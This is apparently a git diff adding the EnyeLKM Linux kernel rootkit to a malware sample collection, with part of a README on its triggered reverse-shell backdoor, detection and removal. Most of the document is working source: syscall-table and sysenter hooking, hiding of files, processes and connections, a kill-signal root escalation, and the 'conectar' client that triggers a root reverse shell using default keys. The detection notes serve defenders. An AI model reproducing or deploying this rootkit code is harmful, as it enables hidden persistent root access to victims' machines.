If the payload includes the key and connection parameters the rootkit machine calls back to the machine sending the ping on the specified port. The connection will give the attacker a root shell. + +The newest version of EnyeLKM also offers TCP connection triggering. + +The shell returned will be hidden from netstat and the process list. + +Connections established using the network backdoor are not encrypted. + +The network backdoor in EnyeLKM has matured with the rootkit. + +Versions 1.1.2 – 1.1.4 only offered ICMP triggering. Since many hosts do not process ICMP messages (or they may be blocked by perimeter firewalls) a TCP available as an option in the 1.2 build. When using the TCP option for triggering, a listening port on the target machine must be used. Attempting to trigger a closed port will not work as the kernel level monitor is inserted in the TCP stack above where port multiplexing occurs. + +Network Address Translation (NAT) is an issue that EnyeLKM's backdoor is not programmed to deal with. There is no option to trigger a callback address in the connection program. When the attacker and target are on different sides of a NAT device, the backdoor cannot be triggered. When the target receives the trigger packet, the source address appears to be the internal address of the NAT device. The target will call back to the internal address of the NAT device and will most likely receive a RST packet from the NAT device. + +***** Don't take this to mean your machines are safe from this backdoor if they sit behind a NAT device. I personally know a hacker who has programmed a patch to the rootkit and connection program that overcome the NAT problem by adding a callback address to the trigger packet. The code modifications were actually quite trivial. ***** + +![ScreenShot](https://github.com/David-Reguera-Garcia-Dreg/enyelkm/blob/master/nat.png) + +Why NAT poses a problem: + +In this diagram, the blue lines represent the trigger and the red lines represent the callback. The same problem occurs whether an ICMP or TCP trigger is used. Assume in this case that a TCP trigger is used. The TCP SYN packet will make it through the NAT device. The target reply (normal SYN/ACK) will be returned through the NAT device since there is a Port Address Translation (PAT) rule in place for this connection. + +Encoded in the TCP packet is the port to call back to (default 8822). The target now tries to establish a connection to that port on the source address. The problem is that the target sees the source address as 192.168.0.1 instead of 172.16.0.5. Since no PAT rule exists for this IP/Port combination the connection is actively refused by the NAT device. + +A pre-shared key is used to offer some sort of authentication for the rootkit. Without a configurable key, anyone with the connection program could connect to any machine with EnyeLKM installed. The default key is rarely changed by script kiddies. It is defined in config.h (ICMP_CLAVE) and is set by default “ENYELKMICMPKEY”. It can only be changed at compile time, so it is considerably less flexible than standard password based authentication. In EnyeLKM 1.2, the TCP shared key defaults to “ENYELKMTCPKEY”. It is defined in config.h as TCP_CLAVE. + +The client (attacker) side connection program is called “connectar”. It must be run from the client machine as root since it requires raw socket access to craft the trigger packet. + +After the connectar program sends the trigger packet, it opens a TCP port on the sending machine and waits for the attacked machine to call back to the open port. If no port is specified when the program is run, the callback will occur on TCP 8822. Any NIDS in place should be configured to flag TCP 8822 connections for inspection. + +Client Usage: +./connectar -icmp IP_address [callback port] +./connectar -tcp IP_address destination_port [callback port] + +### Detection + +Just using lsmod and looking for the module name is out since the module name contains the SHIDE string and will be filtered out on a call to read. The module name could also have been changed to something normal before loading. There does not appear to be a way to detect the module by name when it is loaded in memory. + +Assuming the attacker has compiled the rootkit with all defaults, a file or directory created with a name containing the string “OCULTAR” (“HIDE^IT” for the English version) will be hidden. As an investigator on a live system, you can create a file with the SHIDE string. If the created file is hidden, EnyeLKM is installed on the system. Just because the file is visible, this does not mean that EnyeLKM is not present on the system. It may just have been compiled with options other than the default. + +Hiding text in a file is somewhat more reliable since the MOPEN and MCLOSE defines are not found in config.h and can easily be overlooked. Try creating a file that contains these tags and write some specific text between the tags. Save the file and cat it from the command line. To reiterate, just because this fails does not mean that the system is clean. + +Hidden processes can be found by scanning the /proc filesystem for directories that are present but not being listed with the standard readdir() calls. Proof of concept code can be found at the link below. Once the process's directory in /proc is located, the command line and environment of the process can be determined. This should offer some clue about what the attacker is doing with the compromised machine. + +Obviously the same advice offered earlier about probing hidden directories still applies here. Some safety exists with this method however. Because the /proc filesystem is only present in memory access and modification times are unlikely to be tracked by the attacker's code. + +If at all possible, it is best to first discover the magic GID and run the detection process with that GID. + +http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findHiddenProc.tgz + +Hidden network connections are somewhat more difficult to find. Connections are hidden from /proc (where netstat gets its output) but connection statistics are not updated. Hidden network connections can be discovered by comparing the number of established connections in /proc/net/stat to the number of connections in netstat output. While this does not expose what the network connections are doing, it does show that some are being hidden and warrants further investigation. + +If libpcap and tcpdump are installed on the victim machine, these can be used to ferret out active network connections that are not being displayed in netstat. It would be better on a non-switched network to run the sniffer from a non-suspect machine since tcpdump may be compromised as well. The connections EnyeLKM hides from netstat are not hidden from tcpdump, even when running on the compromised machine. Note that when using this method, traffic must be captured for at least the TCP timeout period for the machine you are investigating. A hidden connection will only be revealed by tcpdump if traffic is sent over the connection while tcpdump is listening. By capturing for longer than the TCP timeout period, traffic is guaranteed to be passed on the hidden connection + +If a NIDS is installed on the network, all traffic with a source or destination port of 8822 should be flagged for inspection. If the NIDS offers inspection of packet internals, ICMP and TCP payloads should be inspected for ENYELKMICMPKEY and ENYELKMTCPKEY. + +The ICMP trigger uses an ICMP echo request. Its payload is short and contains only the pre-shared key and the callback port in hexadecimal (stored in little endian order). + +The TCP trigger completes the normal TCP three way handshake on the chosen port. It then sends a PSH packet containing the pre-shared key and the callback port in hexadecimal (again stored in little endian order). + +Packet dumps of both triggering mechanisms can be found at the links below. They are in pcap format and can be examined using Wireshark. + +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/tcpTrigger.pcap +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTrigger.pcap +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTwoTriggers.pcap + +If your system has /proc/kcore enabled (Fedora kernels usually do not) you can use gdb to disassemble the sysenter_entry. A normal sysenter routine won't jump soon after it is called, but that's exactly what happens with EnyeLKM installed: + +0xc0103ff5 : jne 0xc0104114 +0xc0103ffb : push 0xd0ba32a4 +0xc0104000 : ret + +Of course, as with any system compromised at the kernel level, the best thing you can do to ferret out the rootkit on the disk is to take the system offline, make a forensic disk image, and examine it on a clean system. + +### Removal + +Removal of this rootkit in its default form is almost too easy. + +The EnyeLKM rootkit insmod command is installed into /etc/rc.d/rc.sysinit or in a very limited distribution /etc/inittab. The module itself is installed as /etc/.enyelkmOCULTAR.ko. The insmod command will not be seen if you inspect /etc/inittab or /etc/rc.d/rc.sysinit since it is hidden between OCULTAR tags. This hiding can be used to your advantage when removing the rootkit. Simply cat both files out to /tmp and copy them over the originals. The hidden text will be gone from the file (instead of simply hidden). Unfortunately, the module itself cannot be unloaded so a reboot is needed to remove the module from the running kernel. + +Note that this method will not work if the insmod command for the rootkit is placed in some other location (such as another startup script or binary). + +Once the system reboots without installing rootkit module, a thorough investigation of running processes and network connections should be performed. Hackers will often install more than one backdoor on a system to maintain persistence. + +## Referenced by + +* Design and Implementation of a Virtual Machine Introspection based Intrusion Detection System - Thomas Kittel: https://pdfs.semanticscholar.org/d48a/dbea94a5e2bc108b274f3176db9d5024af15.pdf +* Full Virtual Machine State Reconstruction for Security Applications - Christian A. Schneider: http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=DDA289985A5B66223310A012971CAD3E?doi=10.1.1.722.9243&rep=rep1&type=pdf diff --git a/Linux/Rootkits/Enyelkm/VERSIONS b/Linux/Rootkits/Enyelkm/VERSIONS new file mode 100644 index 0000000..a665ee1 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/VERSIONS @@ -0,0 +1,18 @@ +v1.2: +------ + ++ eliminados warnings de __copy_to_user() ++ aadido new_idt (nuevo handler) y eliminado handler antiguo ++ cambiado read_activo a atomic_t ++ envio de peticion shell tcp terminado ++ reverse_shell via tcp terminada ++ hacked_tcp4_seq_show() injectada ++ nuevo sistema de ocultacion de conexion, a traves + de sys_read eliminado ++ aadida hacked_getdents complementando a hacked_getdents64 ++ do_fork() eliminado, ahora se usa fork() ++ se bloquean todas las seales en el manejador de la conexion ++ sysenter_entry obtenido a traves rdmsr() cuando sea posible, + en vez de /proc/kallsyms ++ se oculta el modulo a '/sys/module' con kobject_unregister() + diff --git a/Linux/Rootkits/Enyelkm/base.c b/Linux/Rootkits/Enyelkm/base.c new file mode 100644 index 0000000..5bdac2c --- /dev/null +++ b/Linux/Rootkits/Enyelkm/base.c @@ -0,0 +1,367 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" +#include "data.h" +#include "syscalls.h" +#include "remoto.h" +#include "kill.h" +#include "read.h" +#include "ls.h" + +#define ORIG_EXIT 19 +#define DIRECALL 42 +#define SALTO 5 +#define SKILL 49 +#define SGETDENTS64 57 +#define SREAD 65 +#define DAFTER_CALL 70 +#define DNRSYSCALLS 10 + +#define ASMIDType( valor ) \ + __asm__ ( valor ); + +#define JmPushRet( valor ) \ + ASMIDType \ + ( \ + "push %0 \n" \ + "ret \n" \ + \ + : : "m" (valor) \ + ); + +#define CallHookedSyscall( valor ) \ + ASMIDType( "call *%0" : : "r" (valor) ); + + +/* punteros a syscalls/funciones originales */ +int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); +asmlinkage int (*orig_kill)(pid_t pid, int sig); +asmlinkage long (*orig_getdents64) + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +asmlinkage long (*orig_getdents) + (unsigned int fd, struct dirent *dirp, unsigned int count); + + +/* variables globales */ +extern struct proc_dir_entry *proc_net; +unsigned long dire_exit, after_call; +unsigned long dire_call, global_ip; +short lanzar_shell; +atomic_t read_activo; +void *sysenter_entry; +void **sys_call_table; +struct packet_type my_pkt; +unsigned short global_port; +int errno; + + +/* prototipos funciones */ +void *get_system_call(void); +void *get_sys_call_table(void *system_call); +void set_idt_handler(void *system_call); +void set_sysenter_handler(void *sysenter); +void *get_sysenter_entry(void); +void new_idt(void); +void hook(void); + + +/* estructuras */ +struct idt_descriptor + { + unsigned short off_low; + unsigned short sel; + unsigned char none, flags; + unsigned short off_high; + }; + + + +int init_module(void) +{ +void *s_call; +struct module *m = &__this_module; +struct proc_dir_entry *tcp = proc_net->subdir->next; + +/* borramos nuestro modulo de la lista */ +if (m->init == init_module) + list_del(&m->list); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,7) + kobject_unregister(&m->mkobj.kobj); +#endif + +/* redefinimos tcp4_seq_show() */ +while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir)) + tcp = tcp->next; + +if (tcp != proc_net->subdir) + { + orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; + ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; + + #if DEBUG == 1 + printk("enyelkm: hacked_tcp4_seq_show() injectada!\n"); + #endif + } + +sysenter_entry = get_sysenter_entry(); + +/* variables de control */ +lanzar_shell = 0; +atomic_set(&read_activo, 0); +global_ip = 0xffffffff; + +/* averiguar sys_call_table */ +s_call = get_system_call(); +sys_call_table = get_sys_call_table(s_call); + +/* punteros a syscalls originales */ +orig_kill = sys_call_table[__NR_kill]; +orig_getdents64 = sys_call_table[__NR_getdents64]; +orig_getdents = sys_call_table[__NR_getdents]; + +/* modificar los handlers */ +set_idt_handler(s_call); +set_sysenter_handler(sysenter_entry); + +/* insertamos el nuevo filtro */ +my_pkt.type=htons(ETH_P_ALL); +my_pkt.func=capturar; +dev_add_pack(&my_pkt); + +#if DEBUG == 1 +printk("enyelkm instalado!\n"); +#endif + +return(0); + +} /*********** fin init_module ***********/ + + + +void cleanup_module(void) +{ +/* dejar terminar procesos que estan 'leyendo' */ +while (atomic_read(&read_activo) != 0) + schedule(); + +#if DEBUG == 1 +printk("enyelkm desinstalado!\n"); +#endif + +} /*********** fin cleanup_module ************/ + + + +void *get_system_call(void) +{ +unsigned char idtr[6]; +unsigned long base; +struct idt_descriptor desc; + +asm ("sidt %0" : "=m" (idtr)); +base = *((unsigned long *) &idtr[2]); +memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); + +return((void *) ((desc.off_high << 16) + desc.off_low)); + +} /*********** fin get_sys_call_table() ***********/ + + + +void *get_sys_call_table(void *system_call) +{ +unsigned char *p; +unsigned long s_c_t; + +p = (unsigned char *) system_call; + +while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) + p++; + +dire_call = (unsigned long) p; + +p += 3; +s_c_t = *((unsigned long *) p); + +p += 4; +after_call = (unsigned long) p; + +/* cli */ +while (*p != 0xfa) + p++; + +dire_exit = (unsigned long) p; + +return((void *) s_c_t); + +} /********** fin get_sys_call_table() *************/ + + + +void set_idt_handler(void *system_call) +{ +unsigned char *p; +unsigned long *p2; + +p = (unsigned char *) system_call; + +/* primer salto */ +while (!((*p == 0x0f) && (*(p+1) == 0x83))) + p++; + +p -= 5; + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +/* syscall_trace_entry salto */ +while (!((*p == 0x0f) && (*(p+1) == 0x82))) + p++; + +p -= 5; + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +} /********** fin set_idt_handler() ***********/ + + + +void set_sysenter_handler(void *sysenter) +{ +unsigned char *p; +unsigned long *p2; + +p = (unsigned char *) sysenter; + +/* buscamos call */ +while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) + p++; + +/* buscamos el jae syscall_badsys */ +while (!((*p == 0x0f) && (*(p+1) == 0x83))) + p--; + +p -= 5; + +/* metemos el salto */ + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +} /************* fin set_sysenter_handler() **********/ + + + +void new_idt(void) +{ + ASMIDType + ( + "cmp %0, %%eax \n" + "jae syscallmala \n" + "jmp hook \n" + + "syscallmala: \n" + "jmp dire_exit \n" + + : : "i" (NR_syscalls) + ); + +} /********** fin new_idt() **************/ + + + +void hook(void) +{ + register int eax asm("eax"); + + switch(eax) + { + case __NR_kill: + CallHookedSyscall(hacked_kill); + break; + + case __NR_getdents: + CallHookedSyscall(hacked_getdents); + break; + + case __NR_getdents64: + CallHookedSyscall(hacked_getdents64); + break; + + case __NR_read: + CallHookedSyscall(hacked_read); + break; + + default: + JmPushRet(dire_call); + break; + } + + JmPushRet( after_call ); + +} /*********** fin hook() ************/ + + + +/* thx to Int27h :-) */ +void *get_sysenter_entry(void) +{ +void *psysenter_entry = NULL; +unsigned long v2; + +if (boot_cpu_has(X86_FEATURE_SEP)) + rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); +else + return((void *) DSYSENTER); + +return(psysenter_entry); + +} /********** fin get_sysenter_entry() **********/ + + + +/* Licencia GPL */ +MODULE_LICENSE("GPL"); + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/conectar.c b/Linux/Rootkits/Enyelkm/conectar.c new file mode 100644 index 0000000..ed443dd --- /dev/null +++ b/Linux/Rootkits/Enyelkm/conectar.c @@ -0,0 +1,293 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + + +int enviar_icmp(char *ipdestino, unsigned short puerto); +int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto); +int test_args(int argc, char *argv[]); +void show_instr(char *name); + + +int main(int argc, char *argv[]) +{ +struct sockaddr_in dire; +unsigned short puerto, dpuerto; +int soc, soc2, modo; +fd_set s_read; +unsigned char tmp; + + +if ((modo = test_args(argc, argv)) == -1) + exit(modo); + +if ((modo == 1) && (argc > 3)) + puerto = (unsigned short) atoi(argv[3]); +else + puerto = 8822; + +if ((modo == 2) && (argc > 4)) + puerto = (unsigned short) atoi(argv[4]); +else + puerto = 8822; + + +if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { + printf("error al crear el socket.\n"); + exit(-1); + } + +bzero((char *) &dire, sizeof(dire)); + +dire.sin_family = AF_INET; +dire.sin_port = htons(puerto); +dire.sin_addr.s_addr = htonl(INADDR_ANY); + +while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) + dire.sin_port = htons(++puerto); + +listen(soc, 5); + +printf("\n* Lanzando reverse_shell:\n\n"); +fflush(stdout); + +if (modo == 1) + enviar_icmp(argv[2], puerto); +else + { + dpuerto = (unsigned short) atoi(argv[3]); + enviar_tcp(argv[2], dpuerto, puerto); + } + +printf("Esperando shell en puerto %d (puede tardar unos segundos) ...\n", (int) puerto); +fflush(stdout); +soc2 = accept(soc, NULL, 0); +printf("lanzando shell ...\n\n"); +printf("id\n"); +fflush(stdout); +write(soc2, "id\n", 3); + + +while(1) + { + FD_ZERO(&s_read); + FD_SET(0, &s_read); + FD_SET(soc2, &s_read); + + select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL); + + if (FD_ISSET(0, &s_read)) + { + if (read(0, &tmp, 1) == 0) + break; + write(soc2, &tmp, 1); + } + + if (FD_ISSET(soc2, &s_read)) + { + if (read(soc2, &tmp, 1) == 0) + break; + write(1, &tmp, 1); + } + + } /* fin while(1) */ + + +exit(0); + +} /***** fin de main() *****/ + + +int enviar_icmp(char *ipdestino, unsigned short puerto) +{ +int soc, n, tot; +long sum; +unsigned short *p; +struct sockaddr_in adr; +unsigned char pqt[4096]; +struct iphdr *ip = (struct iphdr *) pqt; +struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr)); +char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct icmphdr)); + +bzero(pqt,4096); +bzero(&adr, sizeof(adr)); +strcpy(data, ICMP_CLAVE); +p = (unsigned short *)((void *)(data + strlen(data))); +*p = puerto; + +tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); + +if((soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) + { + perror("Error al crear el socket.\n"); + exit(-1); + } + +adr.sin_family = AF_INET; +adr.sin_port = 0; +adr.sin_addr.s_addr = inet_addr(ipdestino); + +ip->ihl = 5; +ip->version = 4; +ip->id = rand() % 0xffff; +ip->ttl = 0x40; +ip->protocol = 1; +ip->tos = 0; +ip->tot_len = htons(tot); +ip->saddr = 0; +ip->daddr = inet_addr(ipdestino); + +icmp->type = ICMP_ECHO; +icmp->code = 0; +icmp->un.echo.id = getpid() && 0xffff; +icmp->un.echo.sequence = 0; + +printf("Enviando ICMP ...\n"); +fflush(stdout); + +n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); +icmp->checksum = 0; +sum = 0; +p = (unsigned short *)(pqt + sizeof(struct iphdr)); + +while (n > 1) + { + sum += *p++; + n -= 2; + } + +if (n == 1) + { + unsigned char pad = 0; + pad = *(unsigned char *)p; + sum += (unsigned short) pad; + } + +sum = ((sum >> 16) + (sum & 0xffff)); +icmp-> checksum = (unsigned short) ~sum; + +if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr, + sizeof(adr)))) == -1) + { + perror("Error al enviar datos.\n"); + exit(-1); + } + + +return(0); + +} /********* fin de enviar_icmp() ********/ + + +int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto) +{ +char buf[256], *p; +struct sockaddr_in dire; +int soc; + +if((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { + perror("Error al crear el socket.\n"); + exit(-1); + } + +bzero((void *) &dire, sizeof(dire)); +dire.sin_family = AF_INET; +dire.sin_port = htons(dpuerto); +dire.sin_addr.s_addr = inet_addr(ipdestino); + +if (connect(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) + { + perror("Error al conectar al puerto destino.\n"); + exit(-1); + } + +bzero(buf, sizeof(buf)); +strcpy(buf, TCP_CLAVE); +p = buf+strlen(TCP_CLAVE); +*((unsigned short *)p) = puerto; + +printf("Enviando firma TCP al puerto %d ...\n", dpuerto); +fflush(stdout); + +write(soc, buf, strlen(TCP_CLAVE) + sizeof(unsigned short)); +close(soc); + +return(0); + +} /******** fin de enviar_tcp() ********/ + + +int test_args(int argc, char *argv[]) +{ +int modo; + +if (argc < 3) + { + show_instr(argv[0]); + return(-1); + } + +if (!strcmp(argv[1],"-icmp")) + modo = 1; +else + if (!strcmp(argv[1],"-tcp")) + modo = 2; + else + { + show_instr(argv[0]); + return(-1); + } + +if((modo == 1) && geteuid()) + { + printf("\nNecesitas ser root (para usar raw sockets).\n\n"); + return(-1); + } + +if ((modo == 2) && (argc < 4)) + { + show_instr(argv[0]); + return(-1); + } + +return(modo); + +} /******* fin test_args() ********/ + + +void show_instr(char *name) +{ + +printf("\nPrograma para activar el acceso remoto del enyelkm v1.2:\n\n"); +printf("Peticion ICMP: %s -icmp ip_destino [puerto_shell]\n", name); +printf("Peticion TCP: %s -tcp ip_destino puerto_destino [puerto_shell]\n\n", name); +printf("- ip_destino: ip de la maquina con enyelkm instalado\n"); +printf("- puerto_shell: puerto local en el que se recibira la shell (x def: 8822)\n"); +printf("- puerto_destino: puerto abierto al que se enviara la firma TCP (21, 80, ...)\n\n"); + +} /******** fin show_instr() *******/ + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/config.h b/Linux/Rootkits/Enyelkm/config.h new file mode 100644 index 0000000..d7a81c7 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/config.h @@ -0,0 +1,22 @@ +/* + * Fichero de configuracion + */ + +/* modo debug */ +#define DEBUG 0 + +/* clave del icmp */ +#define ICMP_CLAVE "ENYELKMICMPKEY" + +/* clave del tcp */ +#define TCP_CLAVE "ENYELKMTCPKEY" + +/* clave para ocultar ficheros, directorios y procesos */ +#define SHIDE "OCULTAR" + +/* gid magico, todos los procesos con esta gid se ocultan */ +#define SGID 0x489196ab + +/* directorio home de la shell remota */ +#define HOME "/" + diff --git a/Linux/Rootkits/Enyelkm/kill.c b/Linux/Rootkits/Enyelkm/kill.c new file mode 100644 index 0000000..de7ce1e --- /dev/null +++ b/Linux/Rootkits/Enyelkm/kill.c @@ -0,0 +1,63 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + +#define SIG 58 +#define PID 12345 + + +/* declaraciones externas */ +extern asmlinkage int (*orig_kill)(pid_t pid, int sig); + + +asmlinkage int hacked_kill(pid_t pid, int sig) +{ +struct task_struct *ptr = current; +int tsig = SIG, tpid = PID, ret_tmp; + + +if ((tpid == pid) && (tsig == sig)) + { + ptr->uid = 0; + ptr->euid = 0; + ptr->gid = 0; + ptr->egid = 0; + return(0); + } +else + { + ret_tmp = (*orig_kill)(pid, sig); + return(ret_tmp); + } + +return(-1); + +} /********** fin hacked_kill ************/ + + + +// EOF diff --git a/Linux/Rootkits/Enyelkm/kill.h b/Linux/Rootkits/Enyelkm/kill.h new file mode 100644 index 0000000..b081d81 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/kill.h @@ -0,0 +1,4 @@ +/* funciones de kill.c */ + +asmlinkage int hacked_kill(pid_t pid, int sig); + diff --git a/Linux/Rootkits/Enyelkm/ls.c b/Linux/Rootkits/Enyelkm/ls.c new file mode 100644 index 0000000..a1da4bd --- /dev/null +++ b/Linux/Rootkits/Enyelkm/ls.c @@ -0,0 +1,205 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + + + +/* declaraciones externas */ +extern asmlinkage long (*orig_getdents64) + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +extern asmlinkage long (*orig_getdents) + (unsigned int fd, struct dirent *dirp, unsigned int count); + + +asmlinkage long hacked_getdents64 + (unsigned int fd, struct dirent64 *dirp, unsigned int count) +{ +struct dirent64 *td1, *td2; +long ret, tmp; +unsigned long hpid, nwarm; +short int mover_puntero, ocultar_proceso; + + +/* llamamos a la syscall original */ +ret = (*orig_getdents64) (fd, dirp, count); + +/* si vale cero retornamos */ +if (!ret) + return(ret); + + +/* copiamos la lista al kernel space */ +td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); +__copy_from_user(td2, dirp, ret); + + +/* inicializamos punteros y contadores */ +td1 = td2, tmp = ret; + +while (tmp > 0) + { + tmp -= td1->d_reclen; + mover_puntero = 1; + ocultar_proceso = 0; + hpid = 0; + + hpid = simple_strtoul(td1->d_name, NULL, 10); + + /* ocultacion de procesos */ + if (hpid != 0) + { + struct task_struct *htask = current; + + /* buscamos el pid */ + do { + if(htask->pid == hpid) + break; + else + htask = next_task(htask); + } while (htask != current); + + /* lo ocultamos */ + if (((htask->pid == hpid) && (htask->gid == SGID)) || + ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL))) + ocultar_proceso = 1; + } + + + /* ocultacion de ficheros/directorios */ + if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) + { + /* una entrada menos */ + ret -= td1->d_reclen; + + /* no moveremos el puntero al siguiente */ + mover_puntero = 0; + + if (tmp) + /* no es el ultimo */ + memmove(td1, (char *) td1 + td1->d_reclen, tmp); + } + + if ((tmp) && (mover_puntero)) + td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); + + } /* fin while */ + +/* copiamos la lista al user space again */ +nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); +kfree(td2); + +return(ret); + +} /********** fin hacked_getdents64 *********/ + + + +asmlinkage long hacked_getdents + (unsigned int fd, struct dirent *dirp, unsigned int count) +{ +struct dirent *td1, *td2; +long ret, tmp; +unsigned long hpid, nwarm; +short int mover_puntero, ocultar_proceso; + + +/* llamamos a la syscall original */ +ret = (*orig_getdents) (fd, dirp, count); + +/* si vale cero retornamos */ +if (!ret) + return(ret); + + +/* copiamos la lista al kernel space */ +td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL); +__copy_from_user(td2, dirp, ret); + + +/* inicializamos punteros y contadores */ +td1 = td2, tmp = ret; + +while (tmp > 0) + { + tmp -= td1->d_reclen; + mover_puntero = 1; + ocultar_proceso = 0; + hpid = 0; + + hpid = simple_strtoul(td1->d_name, NULL, 10); + + /* ocultacion de procesos */ + if (hpid != 0) + { + struct task_struct *htask = current; + + /* buscamos el pid */ + do { + if(htask->pid == hpid) + break; + else + htask = next_task(htask); + } while (htask != current); + + /* lo ocultamos */ + if (((htask->pid == hpid) && (htask->gid == SGID)) || + ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL))) + ocultar_proceso = 1; + } + + + /* ocultacion de ficheros/directorios */ + if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) + { + /* una entrada menos */ + ret -= td1->d_reclen; + + /* no moveremos el puntero al siguiente */ + mover_puntero = 0; + + if (tmp) + /* no es el ultimo */ + memmove(td1, (char *) td1 + td1->d_reclen, tmp); + } + + if ((tmp) && (mover_puntero)) + td1 = (struct dirent *) ((char *) td1 + td1->d_reclen); + + } /* fin while */ + +/* copiamos la lista al user space again */ +nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); +kfree(td2); + +return(ret); + +} /********** fin hacked_getdents **********/ + + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/ls.h b/Linux/Rootkits/Enyelkm/ls.h new file mode 100644 index 0000000..7d5943d --- /dev/null +++ b/Linux/Rootkits/Enyelkm/ls.h @@ -0,0 +1,7 @@ +/* funciones de ls.c */ + +asmlinkage long hacked_getdents64 + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +asmlinkage long hacked_getdents + (unsigned int fd, struct dirent *dirp, unsigned int count); + diff --git a/Linux/Rootkits/Enyelkm/nat.png b/Linux/Rootkits/Enyelkm/nat.png new file mode 100644 index 0000000000000000000000000000000000000000..e40caeeb88fd49735a4b183739153cba9fe143db GIT binary patch literal 16022 zcmdUWXH-*L*e1%gp@4#jQdN{HP3cuYQ0Xlo-G=l)AoQjpy{QnQ^bQG4YC>pA)gT~& zPy9wPwDVS!;fn`o3}-`a2w^ zgA}(KKVstPzVE)@vo<<|TEZq*@2AVpq}DAfO)$2QiaiI${TDr#%$h2@hdp|ld1+|g zTqmBRd5YixAEJ39_n-b3GlJe-oY-4D@}1kSzM1D3&1}X98hDc>_i$-(@hm!tTR89G>P>hJ*?4Ff3h|8_-f&~;w&+u zE!Y_`%CsTtB4^_BjfQ5oas!eQ`qm^WCl!glk9hezHJGi#&;&C~A?g51#j4u(Bm2sYyg_uM3*g zVN2cJ^#oZPhYf(QpMJL`h=_`26mBKNGSq($oQ{JmY-9sw$AZm6lSez}c+bfvEE%Qs zyO6x8W@Uwj6%u%@@Xcpn+mN~5@?VbE5Mz<&V8sTq7Gn`o^Su>qjL#jObJJlhGb6~U zsBf_i4wyH!;~mdUb}u^%FK7w}z!r2LE~+3ndJ1J|01G=moPq{@lr5dd-J##9MFi!4 znA1Fx;bttIA+WVPTH3=DcL=EA&40pwmI#~iCz2BxH@@q#Go+ z@sV|wk&&$ z|G!bD_z|c@{z*wm3|A&L(glOd;t+xM;?(O;{kHPChGl<(cQ<{Yf)em6s%AJF(@c*ciL_S19h+p|sA z^tRwZwbna+bxSHFiYH{D-k3J{8JKmCI{F5?)LFpzdiOv3Ny2vVQ#IH9&-$Co 